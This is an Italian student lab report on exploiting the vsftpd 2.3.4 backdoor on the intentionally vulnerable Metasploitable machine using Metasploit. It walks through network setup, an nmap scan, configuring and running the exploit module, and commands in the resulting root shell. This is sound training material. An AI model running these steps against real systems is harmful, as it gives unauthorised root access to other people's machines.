



GIULIA FIACCHI

S7/L1

HACKING CON  
METASPLOIT



# TRACCIA

- Completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd»
- L'indirizzo della macchina Metasploitable: 192.168.1.149/24.
- Una volta ottenuta la sessione sulla Metasploitable, creare una cartella con il comando mkdir nella directory di root (/), nome della cartella test\_metasploit.





# PASSAGGI

Per prima cosa è stata avviata la macchina Metasploitable e configurato la rete con l'IP "192.168.1.149/24" con il comando "sudo nano /etc/network/interfaces"

Poi si è eseguito il comando "sudo reboot" per resettare la macchina e dopodiché verificato con "ip a" che la configurazione fosse andata a buon fine.

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
gateway 192.168.1.1

File Name to Write: /etc/network/interfaces
^G Get Help      ^T To Files      M-M Mac Format    M-P Prepend
^C Cancel        M-D DOS Format    M-A Append        M-B Backup File
```



# PASSAGGI

Successivamente è stata avviata la macchina Kali e anche qui è stato cambiato l'IP e il gateway per fare in modo che le due macchine comunicassero tra di loro.

IP: 192.168.1.100

GATEWAY: 192.168.1.1

Poi è stata restartata.

Editing Ethernet connection 1

Connection name: Ethernet connection 1

General Ethernet 802.1X Security DCB Proxy **IPv4 Settings** IPv6 Settings

Method: Manual

Addresses

Address	Netmask	Gateway	
192.168.1.100	24	192.168.1.1	<div>Add</div> <div>Delete</div>

DNS servers:

Search domains:

DHCP client ID:

☒ Require IPv4 addressing for this connection to complete

Routes...

Cancel

✓ Save



# PASSAGGI

Una volta eseguite le nuove configurazioni di rete alle macchine, si è verificato che comunicassero tra di loro con il comando "ping -c4 INDIRIZZO IP"

```
(kali@kali)-[~]  
$ ping -c4 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=1.12 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.558 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.615 ms  
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=2.61 ms  
  
— 192.168.1.149 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3015ms  
rtt min/avg/max/mdev = 0.558/1.225/2.606/0.826 ms
```

```
msfadmin@metasploitable:~$ ping -c4 192.168.1.100  
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.  
64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=0.628 ms  
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=0.660 ms  
64 bytes from 192.168.1.100: icmp_seq=3 ttl=64 time=0.635 ms  
64 bytes from 192.168.1.100: icmp_seq=4 ttl=64 time=0.689 ms  
  
--- 192.168.1.100 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 2997ms  
rtt min/avg/max/mdev = 0.628/0.653/0.689/0.023 ms
```



# PASSAGGI

Ora procediamo con la sessione di hacking.

Prima di tutto è necessario eseguire una scansione sulla macchina che vogliamo attaccare per vedere su quali porte sfruttare la vulnerabilità.

“nmap -sV 192.168.1.149”

Quella che utilizzeremo sarà la porta **21 vsftpd**.

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 08:33 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify
valid servers with --dns-servers
Nmap scan report for 192.168.1.149
Host is up (0.013s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux
_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.24 seconds
```



# PASSAGGI

Verificata la porta da sfruttare si procede con l'avvio di "msfconsole" (scrivendo questo in riga di comando).

Poi eseguiamo il comando "search vsftpd" per vedere quali payloads sono disponibili e quali fanno al caso nostro. Possiamo osservare che ci sono 0 e 1 e quello che ci sarà utile è il numero 1; quindi copiamo la sequenza della directory e utilizziamo il comando "use" seguito da quello che abbiamo copiato.

Poi eseguiamo il comando “show options” per verificare se alcuni parametri devono essere configurati.

```
kali@kali: ~ ×      kali@kali: ~ ×
```

```
(kali@kali)~[~]  
$ msfconsole  
  
Metasploit tip: Use the 'capture' plugin to start multiple authentication-capturing and poisoning services  
  
(( _ _ _ ))  
  ( ) 0 0 ( )  
    |   |  
    o_o M S F  
       ||| WW |||  
       |||     |||  
  
=[ metasploit v6.3.55-dev ]  
+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post ]  
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]  
+ -- ==[ 9 evasion ]  

```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execut

ion

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > 
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|      |                 |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |


```



# PASSAGGI

Come si può osservare dall'immagine nella slide precedente è richiesta la configurazione dell'IP e si può fare eseguendo il comando:

“set IP”  
noi inseriremo al posto di IP 192.168.1.149

Poi eseguiamo di nuovo il comando “show options” per verificare che la configurazione sia andata a buon fine.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|      |                 |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| -- | ----      |
| 0  | Automatic |



View the full module info with the info, or info -d command.
```



# PASSAGGI

Ora eseguiamo il comando per vedere i payloads disponibili e verificare se è necessario effettuare una configurazione.

Poi per sicurezza controlliamo di nuovo con "show options".

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact          normal  No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT            yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT            yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```



# PASSAGGI

A questo punto lanciamo l'attacco con il comando "run" e aspettiamo che questo si avvii.

Poi con il comando "id" diventiamo root e creiamo una cartella con il comando "mkdir /test\_metasploit" e poi con il comando "ls" verifichiamo che questa sia stata creata correttamente.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:35373 → 192.168.1.149:6200) at 2024-07-08 08:45:50 -0400

id
uid=0(root) gid=0(root)
█
```

```
id
uid=0(root) gid=0(root)
mkdir /test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
█
```



# PASSAGGI

Fatto ciò facciamo delle prove per vedere se con i comandi “ifconfig” e “route” ci rimanda dell’informazioni che ci saranno utili, rispettivamente il primo comando ci darà info sulla configurazione della rete e l’altro sulle impostazioni di routing.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4f:b1:59
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe4f:b159/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:67136 errors:0 dropped:0 overruns:0 frame:0
          TX packets:67072 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5239343 (4.9 MB)  TX bytes:3663970 (3.4 MB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:268 errors:0 dropped:0 overruns:0 frame:0
          TX packets:268 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:84641 (82.6 KB)  TX bytes:84641 (82.6 KB)
```

```
route
Kernel IP routing table
Destination      Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.1.0      *              255.255.255.0   U        0      0        0 eth0
default          192.168.1.1    0.0.0.0         UG       100    0        0 eth0
```